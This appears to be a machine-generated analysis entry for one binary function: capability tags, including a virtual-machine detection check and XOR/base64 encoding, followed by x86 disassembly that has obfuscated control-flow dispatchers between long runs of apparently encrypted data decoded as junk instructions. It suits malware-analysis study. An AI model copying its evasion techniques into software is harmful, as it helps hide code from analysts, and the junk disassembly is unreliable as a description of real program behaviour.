Function at 0x68457656
Capabilities:
Authenticate hmac
Check for vm using instruction vpcext
Encode data using base64
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0xe80
mov dword [ebp - 0x10], 0x4be80
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0x8e7d3
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x10]
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x20]
xor eax, 0xdea0d
or eax, dword [ebp - 0x1c]
je 0x6845a235
mov edx, 0xdea0d
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0xda653
or eax, dword [ebp - 0x1c]
je 0x684609f5
mov edx, 0xda653
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0xb42d9
or eax, dword [ebp - 0x1c]
je 0x6845cbb5
mov edx, 0xb42d9
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0x98540
or eax, dword [ebp - 0x1c]
je 0x6845e075
mov edx, 0x98540
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0x8ae8c
or eax, dword [ebp - 0x1c]
je 0x68458d75
mov edx, 0x8ae8c
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0x84102
or eax, dword [ebp - 0x1c]
je 0x6845d615
mov edx, 0x84102
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0x7ba1c
or eax, dword [ebp - 0x1c]
je 0x6845b6f5
mov edx, 0x7ba1c
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0x7281e
or eax, dword [ebp - 0x1c]
je 0x684578b5
mov edx, 0x7281e
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0x5a8b8
or eax, dword [ebp - 0x1c]
je 0x6845f535
mov edx, 0x5a8b8
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0x4efd5
or eax, dword [ebp - 0x1c]
je 0x6845ead5
mov edx, 0x4efd5
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0x4cada
or eax, dword [ebp - 0x1c]
je 0x6845ac95
mov edx, 0x4cada
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0x4a85e
or eax, dword [ebp - 0x1c]
je 0x684597d5
mov edx, 0x4a85e
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0x415a5
or eax, dword [ebp - 0x1c]
je 0x6845c155
mov edx, 0x415a5
mov eax, 0
cmp edx, dword [ebp - 0x20]
sbb eax, dword [ebp - 0x1c]
jl 0x684609f2
mov eax, dword [ebp - 0x20]
xor eax, 0x114ab
or eax, dword [ebp - 0x1c]
je 0x68458315
mov eax, dword [ebp - 0x20]
xor eax, 0x39402
or eax, dword [ebp - 0x1c]
je 0x6845ff95
jmp 0x684609f2
retf 0x6339
lock add byte [ebx - 0x2f634025], bl
mov al, byte [0x6548c570]
and eax, 0xdbdf3d67
push ebx
out 0xd6, eax
pop ds
sbb al, 0x4d
out dx, al
ja 0x68458366
pop ebp
int 0xf0
sahf
mov byte [ebp + 0x41], bh
mov dl, 0xde
test ebp, 0x790b9b1e
ret
push es
jb 0x684582d1
retf
scasb al, byte es:[edi]
int 0x77
int3
inc ebp
dec ecx
imul eax, dword [ebx - 0x68], 0x4ecacbe
and edi, dword [ecx]
pop eax
mov esi, 0x5f921702
out dx, eax
cmpsd dword [esi], dword es:[edi]
mov byte [0xf1fa2f79], al
cwde
loope 0x68458df4
imul eax, dword [0x28f67c47], 0xbd11d3ad
lds ecx, [ebp*4 + 0x276e4762]
mov eax, dword ds:[0xd4cfebc3]
les ebx, [esi - 0x572d7e50]
pop eax
salc
nop
int1
stosb byte es:[edi], al
push esp
xor ebp, dword [eax + edi*2]
mov esi, 0x9321ac4b
and edx, dword ds:[ecx + 0xb6c4f49]
jge 0x68458e22
mov esi, 0x9e78e272
and al, 0xf7
mov ecx, 0xd0a09b40
stc
dec esi
das
in eax, 0xbb
add byte [ebp + 0xb8f9fe2], bh
or ah, al
cmp byte [ebp + 0x4d], bh
push edi
mov dh, 0xb0
invalid
test dword [eax - 0x3b], ebp
insd dword es:[edi], dx
invalid
cwde
rol bh, cl
xor al, 0xdf
int1
fcompi st(1)
loopne 0x68458e0c
xor al, 0xab
xor eax, eax
aad 0x17
mov dword [0x7a7a45c8], esp
ror dword [edi + edi*4], cl
dec ebx
dec edx
push es
inc edi
mov edi, 0x47064a4b
sbb ebx, edx
adc esp, ebx
out 0xab, al
leave
adc eax, 0x959cc3b9
jno 0x68458e5b
je 0x68458e93
xchg cl, dl
and eax, 0x20b87005
xchg ecx, eax
fild word [edi + 0x46]
cdq
pop edi
popfd
loop 0x68458e10
enter 0xffffffffffffaeac, 0xffffffffffffff95
sar byte [ebp - 0x5a6fea3e], 1
add dword [edx - 0x2c593c9c], ebp
jl 0x68458e5f
out dx, eax
push edx
jl 0x68458e5b
dec esi
imul esi, dword [esi - 0x7b424caa], 0x82b8cc90
xor dword [ecx - 0x3ba4deb3], edi
mov dh, 0x56
mov bl, 0xbd
test byte [eax + 0x3182b8cc], dl
mov ecx, 0xc45b214d
out dx, al
and al, 0xb9
popal
xor eax, 0xc257f26f
hlt
sti
fiadd dword [eax + ebp*8 + 0x18f966ec]
push es
stosd dword es:[edi], eax
xchg edi, eax
out 0xe7, eax
pop ds
mov ah, 0xb5
sbb dh, byte [esi + esi*4 + 0x14]
xor edx, esp
xchg esi, eax
mov al, byte [0xdfe183b]
inc eax
jl 0x68458f05
int1
or bl, al
xchg byte [edi + 0x206af58f], dl
mov esp, 0xb29651dc
lcall 0xfa57, 0x669fd32a
and eax, 0x2190674
mov byte [eax + edx - 0x3be7ef3d], bh
lds edi, [esp + eax*8 - 0x62]
and al, 0xe6
cmp al, 0x56
xchg ecx, eax
jle 0x68458e9b
dec esp
mov dl, 0xbf
push ds
mov ebx, 0xb97beccd
jo 0x68458f09
popal
mov ebp, ebx
loope 0x68458ee8
xchg ch, bl
mov ch, 0xf0
int1
aas
add dword [edx], 0xffffffed
pop ecx
push ds
xor al, 0x99
in eax, dx
xchg ebx, eax
pushal
pop ecx
cmp dh, 0xfd
insd dword es:[edi], dx
retf
les edi, [ebx + 0x1f]
pop es
popal
pop ebx
and ebp, ebx
dec esp
imul edx, dword [0x8b628f71], 0x6c7abbfc
ror esi, 1
ror dword [edi + 0x760b58f5], 0x1b
hlt
jle 0x684597fd
jecxz 0x68459798
add al, al
adc bl, dh
rcl byte [eax], 0xf3
xchg byte [ebx], al
or dword [ebx], ebx
xlatb
hlt
nop
int3
mov al, 0x68
add edx, dword [ebx + 0x7fbbd116]
fld dword [ebx + 0x5da96018]
scasd eax, dword es:[edi]
cmp eax, 0xa9b8c036
sub dl, 0x41
cli
xor al, 0xd3
imul edx, dword [edx*2 - 0xa099999], 0x75
jecxz 0x684597ce
loope 0x68459797
sbb al, 0xfa
lcall 0x8d9, 0x9fb24cdd
sub al, 0xe7
cmp bh, byte [edx]
xor dh, dl
mov edx, 0x22ead2e5
push ds
sbb al, 0x25
jae 0x68459794
outsd dx, dword [esi]
add esi, dword [0x80bdd980]
mov dh, 0xac
inc ebp
mov bl, 0x1b
mov byte [0xa816f6ab], al
push cs
aas
cmp byte [esi + 0x14f37312], dh
aam 0xce
inc esi
dec esp
int3
mov edi, dword [ecx + 0xaae9b6c]
invalid
stc
js 0x6845a194
out 0xb4, al
xchg edx, eax
sub eax, 0x2192a52a
aas
retf 0x98fb
and dh, byte [ebp + 0x21]
xor edx, dword [ebx - 0x39]
pushfd
cmp eax, dword [eax + 0x469bb0b4]
inc edi
cmp dword [ecx + 0x55d083c9], ebx
sbb byte [0xbbec876c], bl
shr edx, cl
lds esp, [ebx]
dec ebp
mov eax, 0x2e616253
in eax, dx
pop ds
stosb byte es:[edi], al
out 0xb1, al
cmc
sbb byte [ecx + 0x86cc406], bh
xor ah, byte [0x2ae9d7e0]
mov ch, 0x3f
dec ecx
in eax, dx
jl 0x6845a209
lds ebx, [eax - 0x2a48f858]
inc ecx
adc byte [eax], dl
invalid
into
lcall 0xdce9, 0x52e06f25
xchg ecx, eax
add dword [eax - 0x2707de25], esi
fisub word [esi]
cmp al, byte [eax + 0x56f9b336]
mov ch, 0x18
das
sub ecx, eax
add al, 0xf8
inc ebp
xchg ebp, eax
mov esi, dword [edi + 0x1e]
ret
push ds
sub eax, dword [ebp + edi*4 + 0x38]
cmpsb byte [esi], byte es:[edi]
ror ch, 0x59
inc esp
adc al, 0x4c
xchg ecx, eax
sbb al, 0xb9
add eax, 0x8d58dcd1
ficom dword [0xce73cafa]
aaa
jle 0x6845b76b
xlatb
xchg esi, eax
xchg byte [esi + 0x17], bl
and dword [edx - 0x60], edx
pop esp
loope 0x6845b6ff
invalid
sbb esp, dword [ecx - 0x2c8a6275]
outsb dx, byte [esi]
div al
sahf
int1
jnp 0x6845b712
mov eax, dword [0x99ec0546]
out 2, eax
mov esp, 0xd24bb40
add ecx, dword [edi]
mov bh, 0x97
salc
jbe 0x6845b77d
fld qword [ebx]
invalid
pushfd
mov bh, 0x5b
invalid
xor eax, 0x3436b12a
xor dword [edi], edi
dec eax
insb byte es:[edi], dx
xor esp, dword gs:[edx - 0xc40043a]
sahf
xor ebx, dword [edx + 0x26]
test byte [ecx + 0x4d], 0xfd
fistp qword [esi - 0x7d3a73f4]
add eax, 0xc551f91e
push 0xffffffffffffff99
xor al, 0xb8
in eax, 0x44
imul esi, dword [ecx + 0x5c7890f9], 0x1d26e7d4
ret
rol byte [edi - 0x7ef409a], cl
cdq
imul edx, dword [edi + ebx*2], 0xffffffb0
mov esi, 0xe6834726
popfd
pop edi
push es
dec edx
out dx, eax
retf
fnsave dword [eax]
dec edx
xor dl, bh
xchg edx, eax
and al, 0xda
mov cl, 0xc8
jle 0x6845d5e0
push ss
pop ebp
pop ebx
pop edi
adc dword [edi + 0xf2baf63], edx
lodsb al, byte [esi]
mov ch, 0xae
inc ebp
movsd xmm1, xmm6
sub dword [edi], edx
bound ebp, qword [eax*2 - 0x5d31d685]
invalid
imul edx, dword [ecx], 0x7fb96d4f
jns 0x6845dff1
leave
out dx, al
xchg edi, eax
adc ebp, 0xc654dc9c
sti
xchg ecx, eax
dec esi
shr dword [ebp + 0x3ec77ac7], 1
add al, 0x62
test dword [edx], ebp
cmp al, byte [ebx - 0x44]
jl 0x6845e071
fistp dword [eax + esi*8]
stc
int3
lodsd eax, dword [esi]
inc ebx
pop ebp
sbb al, 0x32
lodsd eax, dword [esi]
sbb eax, 0xafbd6a43
pop eax
aaa
les eax, [edx + 0x34]
or al, 0x9f
test dword [ebp + 0x25856564], ebx
bound edx, qword [esi]
invalid
push eax
mov dl, 0x2b
insb byte es:[edi], dx
and byte [ecx], bl
jge 0x6845dfe6
fisttp qword [edx - 0x6d01e9c9]
jbe 0x6845e00e
pushal
adc edx, esp
ret 0x23a8
sub dword [ecx], 0x45830000
sub byte [0xf81c97de], ch
push 0xffffffffffffffd3
add dword [ebp + 0x28], 0x2d
ficom word [edi - 0x2c9507e4]
jecxz 0x6845e0ff
mov al, byte [0x47197ffc]
jmp 0x6845e033
sub dword [ebx], eax
nop
call 0x9fdf4bc8
mov bl, 0xf3
wait
mov cl, byte [ecx + 0x2ccd245b]
xchg esi, eax
pop ebx
and al, 0xcd
sub al, 0x96
sub edi, dword [ebx]
push edi
xor ch, byte [eax + 0x99c6734]
add byte [edi + 0x71], dl
dec esi
mov dl, 0x38
test al, 0x41
out dx, eax
xor byte [ebp + 0x5f48a362], dh
sbb ah, byte [ebx + ebx*4]
mov ch, pe_nt_image_headers32
cmp dh, al
mov cl, 0x3e
jg 0x6845e107
add dh, byte [0xd271615d]
popal
jno 0x6845e10c
jbe 0x6845e137
in eax, 0x1a
fcmovnb st(0), st(0)
sal dword [esi - 0x17db5351], 1
arpl word [ebp + 0x16401a3a], ax
invalid
clc
xchg edi, ebx
aam 0xc7
and ch, bh
adc bl, 0xba
mov dh, 0x3b
pop ecx
dec esp
invalid
out 0x3e, al
jno 0x6845f583
lds ebp, [edi + ebp*4 - 0x3b]
lea edi, [esp + ebx + 0x2a]
xor bl, byte [ecx - 0x68]
shl byte [esi + 0x65baaa0c], 0xdd
ficomp word [0x6ed5ada7]
dec ecx
xlatb
test ch, 0x4b
cld
loop 0x6845f537
mov ch, 0xab
pop esp
rcl dword [esi + eax*8 + 0x1240f75d], 0xc2
jne 0x6845f5af
pop ebp
test dword [eax + 0x12], 0x1f4975c2
pop ds
jg 0x6845f55f
fstp qword [edi]
jle 0x6845f5a7
in al, dx
and eax, 0xed7d3913
cmc
movsb byte es:[edi], byte [esi]
and dh, 0xaa
adc ebp, ebp
mov dl, 0xd2
xor eax, 0x28fb3fe3
invalid
mov eax, dword [0xf0418c06]
mov dword [0xfeda41fa], eax
sub al, 0x16
retf
invalid
xchg edx, eax
invalid
nop
jmp 0x684609f6
nop
mov dword [ebp - 0x28], 0x62939
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x30], 0x997ef
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x28]
sbb edx, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x38]
xor eax, 0xe32ac
or eax, dword [ebp - 0x34]
je 0x68462b8d
mov edx, 0xe32ac
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0xd9b37
or eax, dword [ebp - 0x34]
je 0x6846550d
mov edx, 0xd9b37
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0xd8531
or eax, dword [ebp - 0x34]
je 0x6846212d
mov edx, 0xd8531
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0xc2647
or eax, dword [ebp - 0x34]
je 0x68469dad
mov edx, 0xc2647
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0xa42c8
or eax, dword [ebp - 0x34]
je 0x684688ed
mov edx, 0xa42c8
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0x97021
or eax, dword [ebp - 0x34]
je 0x68460c6d
mov edx, 0x97021
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0x8b99f
or eax, dword [ebp - 0x34]
je 0x6846404d
mov edx, 0x8b99f
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0x7c276
or eax, dword [ebp - 0x34]
je 0x684635ed
mov edx, 0x7c276
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0x7619e
or eax, dword [ebp - 0x34]
je 0x68464aad
mov edx, 0x7619e
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0x68eb5
or eax, dword [ebp - 0x34]
je 0x684669cd
mov edx, 0x68eb5
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0x6798c
or eax, dword [ebp - 0x34]
je 0x6846742d
mov edx, 0x6798c
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0x3a918
or eax, dword [ebp - 0x34]
je 0x68467e8d
mov edx, 0x3a918
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0x36eb6
or eax, dword [ebp - 0x34]
je 0x6846a80d
mov edx, 0x36eb6
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0x20504
or eax, dword [ebp - 0x34]
je 0x684616cd
mov edx, 0x20504
mov eax, 0
cmp edx, dword [ebp - 0x38]
sbb eax, dword [ebp - 0x34]
jl 0x6846a80a
mov eax, dword [ebp - 0x38]
xor eax, 0x1d3c5
or eax, dword [ebp - 0x34]
je 0x6846934d
mov eax, dword [ebp - 0x38]
xor eax, 0x1fb60
or eax, dword [ebp - 0x34]
je 0x68465f6d
jmp 0x6846a80a
push cs
cmp byte [esp + esi*2], dl
wait
cmp ebp, dword [ebp - 0x18]
sal byte [edi + 0x6ac59a84], 0x73
xchg edi, eax
jns 0x68460cfd
and byte [edi - 0x7c], 0x2f
push edx
inc edx
sub ecx, dword [edi + 0x52d69241]
inc edx
invalid
sbb bl, al
outsd dx, dword [esi]
rol dword [ebx], 1
dec edi
adc eax, 0x2d281ede
nop
pop ds
mov esi, 0x27670e4e
inc esp
sub byte ds:[eax], ch
mov dh, 0x88
pop ebp
lodsb al, byte [esi]
adc bh, byte [ecx - 0x7c5412e9]
cmpsd dword [esi], dword es:[edi]
or eax, 0xf43b59e6
pop ebp
or eax, 0x333623f0
mov esi, 0xe912ec24
lodsd eax, dword [esi]
popfd
dec edi
push eax
outsw dx, word [esi]
jmp 0x68460d5d
int3
sub byte [ecx - 0x25809694], dh
stc
push cs
cmpsd dword [esi], dword es:[edi]
pop dword [esi + 0x34]
test dword [edi + ebp*8 + 0x16], eax
ficomp word [ebx]
shl byte [eax - 0x35], cl
dec ebx
in eax, 0xe5
hlt
adc eax, 0x90a5b791
aad 0x6e
loopne 0x6846160e
add eax, 0x14903dc1
inc ebx
hlt
sbb cl, byte [edx + 0x5d685e21]
outsd dx, dword [esi]
cmpsd dword [esi], dword es:[edi]
sub eax, 0xe91a1277
leave
add dword [edi + 0x287f5b61], esp
insb byte es:[edi], dx
push cs
jg 0x68461667
ljmp 0x25d:0xdacfec64
and dword [edx + 0x57], ebx
retf 0xca4e
test byte [ecx - 0x6b], dl
push edi
aaa
cmpsd dword gs:[esi], dword es:[edi]
jg 0x68462b6b
arpl ax, ax
retf
aam 0xf5
sbb al, 0x25
or dword [edi + 0x5e], edx
mov al, byte [0x8870b9cf]
mov eax, dword [0xf62eda32]
inc eax
fsub dword es:[eax]
and ah, byte [edi]
cmp byte [ecx - 0x336fbcb8], bh
jmp 0x6846a80e
rol dword [esi - 0x37e5e706], 1
push ss
mov bh, 0x87
lds ebp, [eax - 0x3b9f0169]
jns 0x68462b1e
push eax
jno 0x68462bff
test eax, 0x6f01e011
sbb byte [ebx - 0x30], al
mov ah, 0xb1
fild word [0xd3cf34de]
pop edx
mov cl, 0x12
push esi
ljmp 0xc2b1
invalid
sbb dh, byte [ebx + 0x1d]
or dword [eax], 0xffffffef
push ebx
aaa
mov ebx, 0x269d2e8e
pushfd
outsb dx, byte [esi]
in al, 0xda
or eax, 0x731baf5c
cmp ch, cl
and eax, 0x21e9cc90
jb 0x684635ec
add byte [ebx], ch
pop esp
dec esp
adc word [ebp + 0x16], bp
sub ebx, dword [esp + ecx*2 + 0x66]
adc dword [ebp + 0x16], ebp
jle 0x684635db
push ebp
mov fs, word [0xda0c26a2]
fnstenv [ecx + 0x64]
mov ah, 0xdb
inc ebp
add esi, dword fs:[ebx + 0x3c93950c]
mov ah, byte [edi]
test byte [esi - 0x7dcbf555], ah
loope 0x684635cc
mov al, byte [eax - 0x6524384e]
cmc
outsd dx, dword [esi]
out dx, al
popal
cmp dword [eax - 0x14], esp
les ecx, [ebx]
lahf
outsd dx, dword [esi]
mov esi, 0xcc062895
cmc
inc ebx
mov dl, byte [ebx]
out 0x17, al
invalid
dec esi
std
and eax, 0x73fc96e
push 0xf55c2ff8
push edi
push 0xffffffffffffffc8
test al, 0xa0
push esi
invalid
add ebx, edi
cmp esp, dword [edi + 0x1c]
xchg byte [ecx + 0x48], bh
aaa
mov gs, esi
out dx, al
invalid
pop ebx
jg 0x68464a36
xchg esp, eax
jle 0x68464a3b
jmp 0xebc278cc
cmp dword [ebx + 0x154a678e], edx
add eax, 0x62596405
cld
xor byte [esi + 0x7b], ah
aaa
pushal
ret 0x885
fmul qword [esi]
mov edx, 0x3912b637
push ds
push cs
stc
aad 0x79
cmp ah, byte ss:[esi]
popal
cmp byte [eax + 0x1d6863f9], ah
mov bh, 0x84
xchg edx, eax
or edi, dword [0x387dc3aa]
jnp 0x68465e78
aad 0xd4
int 0xe0
mov esp, 0x7cdddf86
imul byte [edx + 0x39]
xor dh, byte [eax]
jg 0x68465ee9
inc edi
dec edx
setnp byte [ecx + 0x6a5d9110]
or dword [ecx + 0x63], 0xe
xor bh, byte [esi - 0x578276e0]
fadd dword [edi + edi*4]
cmpsb byte [esi], byte es:[edi]
xchg esi, eax
aas
xlatb
iretd
fstp dword [ebp + 0x1178ee3d]
js 0x68465f00
jb 0x68465e78
pop esp
enter 0x6338, 0x39
and al, 0xac
cmc
dec esp
xchg ebx, eax
push esi
int1
clc
push ds
inc esi
in al, 0xa8
in eax, dx
cmp dword [edx + 0x32d9b9df], ecx
cmp byte [esi + 0x78], ah
outsb dx, byte [esi]
fistp qword [ecx + 0x663832d9]
js 0x68465f7c
push eax
mov ebp, 0x2c03834
das
xchg byte [ecx + 0x63e74a96], al
mov ebp, 0x470b93a0
add ah, al
adc al, 0x3b
jge 0x68465eed
dec edi
hlt
mov edi, 0xe8240aee
fist dword [ebp + 0x62]
inc ebx
cmpsb byte [esi], byte es:[edi]
cmp dl, dh
dec ah
into
dec esi
in eax, 0xc1
in al, 0x57
and ebp, ebx
jmp 0x68465f06
push 0x85e452d0
out 0x66, eax
xchg ebx, eax
loop 0x68466a32
mov gs, word [ebx + 0x312861d3]
mov eax, dword [0x74c873c6]
add dl, byte [ebx + 0x60]
xchg edi, eax
xchg edi, eax
add eax, 0x5dfd9ef1
shl al, 1
aam 0x26
mov edx, 0xf4574354
jb 0x68466a53
imul ebp, dword [ebx], 0xffffffb4
mov cl, byte [ebx]
dec esp
lahf
xor dword [0xb13d4d49], ebp
or al, 0xee
xor edi, dword [ebx]
out dx, eax
cmp eax, 0xa6ba858c
dec esi
inc ecx
xchg edx, eax
xchg ebx, eax
invalid
outsd dx, dword [esi]
fsubr qword [esp + ebx*2 + 0x3ab0ac69]
imul ebp, dword [ecx + 0x16], 0xffffff95
outsb dx, byte [esi]
dec esp
jbe 0x68466a3e
jnp 0x68466a69
inc ebp
dec eax
push esp
or dl, ah
add ah, byte [esi + 0x19e758c9]
out 0x19, eax
js 0x68466a17
mov bl, 0xbe
jmp 0x68466aa5
retf
js 0x68466a70
cmp al, 0x97
mov esi, 0x97d31380
or esi, esp
mov esp, 0x512f34c0
push ecx
loopne 0x68466a94
out 0x14, al
lds edx, [ecx - 0x56]
mov ch, dl
add al, 0xd7
jae 0x68466a83
dec edi
stosd dword es:[edi], eax
outsd dx, dword [esi]
mov esp, dword [edi + 0x49521fb0]
dec ecx
pop ss
mov bl, 0x8a
test byte [ebp - 0x6ae47be2], dl
test byte [ebx], bl
xchg ebp, eax
xchg ebx, eax
adc byte [edx], bl
sub byte [eax], 0x52
xor eax, 0x5b97b3f3
ja 0x68466a90
xchg ecx, eax
push ebp
and esi, dword [edi + 0x9e3f6b4]
xchg ecx, eax
lea edx, cs:[ecx - 0xb]
mov bh, 0xb4
mul bl
or dword [ecx - 0xaae72d2], edx
inc ebp
jb 0x68466a74
das
out 0xe, al
sahf
push 0xf30908e2
stc
sti
mov byte [0xd7d35d2], al
rcr byte [ebx + 4], 0x35
mov eax, 0xdf3cbe3a
stosb byte es:[edi], al
fild qword [eax]
pop edi
out 0x17, al
cmp bh, byte [esi - 0x205520c4]
sub byte [edi - 0x1a], bl
pop ss
jge 0x68466a44
mov eax, dword [0xa03bb97e]
push eax
jo 0x68466aaf
in eax, 0xd4
int3
cmpsd dword [esi], dword es:[edi]
pushal
outsd dx, dword [esi]
push eax
sbb al, 0x42
or al, 0xf4
jmp 0x9aba1889
invalid
pop edi
sub byte [edi], cl
xor byte [esi - 0x417aa354], ch
retf
invalid
int3
mov word [ebx], cs
jno 0x68469da7
mov es, word [edi + 0x47fa9c4b]
inc edi
inc eax
mov cl, 0x16
test byte [ebx - 0x16], bl
dec edx
xchg ebp, eax
push es
xchg edx, eax
sbb al, 0x78
push ebp
hlt
nop
jmp 0x6846a80e
nop
mov dword [ebp - 0x40], 0xf3974
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x48], 0xa633e
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x50]
xor eax, 0xe4fcf
or eax, dword [ebp - 0x4c]
je 0x6846be7e
mov edx, 0xe4fcf
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6847117b
mov eax, dword [ebp - 0x50]
xor eax, 0xdd97b
or eax, dword [ebp - 0x4c]
je 0x6847071e
mov edx, 0xdd97b
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6847117b
mov eax, dword [ebp - 0x50]
xor eax, 0xbe99a
or eax, dword [ebp - 0x4c]
je 0x6846e7fe
mov edx, 0xbe99a
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6847117b
mov eax, dword [ebp - 0x50]
xor eax, 0xa79e1
or eax, dword [ebp - 0x4c]
je 0x6846c8de
mov edx, 0xa79e1
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6847117b
mov eax, dword [ebp - 0x50]
xor eax, 0x8ab4c
or eax, dword [ebp - 0x4c]
je 0x6846b41e
mov edx, 0x8ab4c
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6847117b
mov eax, dword [ebp - 0x50]
xor eax, 0x64ab1
or eax, dword [ebp - 0x4c]
je 0x6846dd9e
mov edx, 0x64ab1
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6847117b
mov eax, dword [ebp - 0x50]
xor eax, 0x4d636
or eax, dword [ebp - 0x4c]
je 0x6847117e
mov edx, 0x4d636
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6847117b
mov eax, dword [ebp - 0x50]
xor eax, 0x37843
or eax, dword [ebp - 0x4c]
je 0x6846d33e
mov edx, 0x37843
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6847117b
mov eax, dword [ebp - 0x50]
xor eax, 0x1307b
or eax, dword [ebp - 0x4c]
je 0x6846f25e
mov edx, 0x1307b
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6847117b
mov eax, dword [ebp - 0x50]
xor eax, 0x142b
or eax, dword [ebp - 0x4c]
je 0x6846a9be
sub edx, dword [eax + eax]
add byte [ebx], cl
inc ebp
mov ah, 0x74
push ss
mov eax, dword [ebp - 0x50]
xor eax, 0xedec
or eax, dword [ebp - 0x4c]
je 0x6846fcbe
jmp 0x6847117b
pop ecx
pop ebx
add ah, dl
adc bh, al
std
jge 0x6846aa26
cmp al, byte [edx - 0x629afed1]
mov cl, 0x28
ret 0x3e18
lodsb al, byte [esi]
xchg esi, eax
and al, 0xd2
mov ah, 0x2b
add ch, byte [eax + esi*8 - 0x545f3a7]
lodsb al, byte [esi]
mov bl, 0x35
js 0x6846a99f
xor al, 9
push es
into
xor dword [edx + 0x50], esp
mov ecx, dword [eax - 0x65]
wait
aas
scasd eax, dword es:[edi]
lds ecx, [edx]
